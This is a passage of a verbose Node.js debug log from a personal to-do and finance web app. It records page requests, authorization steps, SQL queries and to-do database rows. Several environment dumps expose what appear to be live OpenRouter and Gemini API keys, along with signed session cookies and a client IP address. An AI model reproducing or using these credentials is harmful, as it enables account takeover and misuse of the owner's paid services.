    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-07T05:06:02.374Z server-connect:router Serving templateView /
2026-06-07T05:06:02.374Z server-connect:app Executing action step identify
2026-06-07T05:06:02.374Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:02.374Z server-connect:output identity: 1
2026-06-07T05:06:02.374Z server-connect:app Executing action step restrict
2026-06-07T05:06:02.374Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:06:02.375Z server-connect:output restrict: undefined
2026-06-07T05:06:02.375Z server-connect:app Executing action step restrict
2026-06-07T05:06:02.375Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:06:02.375Z server-connect:output restrict: undefined
2026-06-07T05:06:02.376Z server-connect:router Render template layouts/main
2026-06-07T05:06:02.376Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-07T05:06:03.344Z server-connect:router Serving templateView /todo
2026-06-07T05:06:03.344Z server-connect:app Executing action step identify
2026-06-07T05:06:03.344Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:03.345Z server-connect:output identity: 1
2026-06-07T05:06:03.345Z server-connect:app Executing action step restrict
2026-06-07T05:06:03.345Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:06:03.345Z server-connect:output restrict: undefined
2026-06-07T05:06:03.345Z server-connect:router Render template todo
2026-06-07T05:06:03.345Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-07T05:06:03.852Z server-connect:router Serving serverConnect /api/todo/list_active
2026-06-07T05:06:03.853Z server-connect:router Serving serverConnect /api/todo/list_someday
2026-06-07T05:06:03.853Z server-connect:app Executing action step identify
2026-06-07T05:06:03.853Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:03.853Z server-connect:output identity: 1
2026-06-07T05:06:03.853Z server-connect:app Executing action step restrict
2026-06-07T05:06:03.854Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:03.854Z server-connect:app Executing action step identify
2026-06-07T05:06:03.854Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:03.854Z server-connect:output identity: 1
2026-06-07T05:06:03.854Z server-connect:app Executing action step restrict
2026-06-07T05:06:03.854Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:03.854Z server-connect:output restrict: undefined
2026-06-07T05:06:03.855Z server-connect:app Executing action step select
2026-06-07T05:06:03.855Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `todos`.*, `tr`.`repeat_type`, `tr`.`next_due_date`, `tf`.`required_amount`, `tf`.`saved_amount` from `todos` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `todos`.`id` left join `todo_financial` as `tf` on `tf`.`todo_id` = `todos`.`id` where `todos`.`section` = ? order by `todos`.`id` ASC',
    params: [],
    orders: [ [Object] ]
  }
}
2026-06-07T05:06:03.858Z server-connect:output restrict: undefined
2026-06-07T05:06:03.859Z server-connect:app Executing action step select
2026-06-07T05:06:03.859Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: "select * from `todos` where `todos`.`section` = 'someday' order by `todos`.`created_at` DESC",
    params: [],
    orders: [ [Object] ]
  }
}
2026-06-07T05:06:03.861Z server-connect:output querySomeday: [
  {
    id: 8,
    title: 'Learn Blender',
    description: '3D modeling & animation. Useful for game dev and YouTube content.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 9,
    title: 'Start new YouTube series',
    description: 'Dev vlog or tutorial channel about budgeting apps. Good side project.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 10,
    title: 'Upgrade home office setup',
    description: 'Better monitor arm, LED strip, and a sit-stand desk. Eventually.',
    category: 'Finance',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  }
]
2026-06-07T05:06:03.863Z server-connect:output queryActive: [
  {
    id: 1,
    title: 'Prepare Q3 Marketing Presentation',
    description: 'Include new feature launch metrics and budget allocation proposal.',
    category: 'Work',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 2,
    title: 'Renew car insurance',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '2026-10-14T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 3,
    title: 'Gym Workout',
    description: null,
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Daily',
    next_due_date: '2026-03-06T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 4,
    title: 'Pay Credit Card Bill',
    description: 'Pay before the due date to avoid late fees and credit score impact.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Monthly',
    next_due_date: '2026-03-09T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 5,
    title: 'Weekly Grocery Shopping',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Weekly',
    next_due_date: '2026-03-07T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 6,
    title: 'Save for new iPhone 15',
    description: 'Need to replace my old phone. Selling old one will add to this.',
    category: 'Finance',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '80000.00',
    saved_amount: '45000.00'
  },
  {
    id: 7,
    title: 'Buy gaming mouse and keyboard',
    description: 'Razer DeathAdder & Keychron K2.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '10000.00',
    saved_amount: '10000.00'
  },
  {
    id: 13,
    title: 'Search Macbook Box',
    description: '',
    category: 'Personal',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-05T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:56:37.000Z',
    updated_at: '2026-03-06T12:56:37.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 14,
    title: 'Go to Gym',
    description: '',
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '1899-11-29T18:38:50.000Z',
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:57:54.000Z',
    updated_at: '2026-03-06T12:57:54.000Z',
    repeat_type: 'Daily',
    next_due_date: '1899-11-29T18:38:50.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 15,
    title: 'Buy 16GB RAM x 2',
    description: '',
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:59:08.000Z',
    updated_at: '2026-03-06T12:59:08.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '35000.00',
    saved_amount: '30000.00'
  }
]
2026-06-07T05:06:05.558Z server-connect:router Serving templateView /emis
2026-06-07T05:06:05.558Z server-connect:app Executing action step identify
2026-06-07T05:06:05.558Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:05.559Z server-connect:output identity: 1
2026-06-07T05:06:05.559Z server-connect:app Executing action step restrict
2026-06-07T05:06:05.559Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:06:05.559Z server-connect:output restrict: undefined
2026-06-07T05:06:05.559Z server-connect:router Render template emis
2026-06-07T05:06:05.560Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
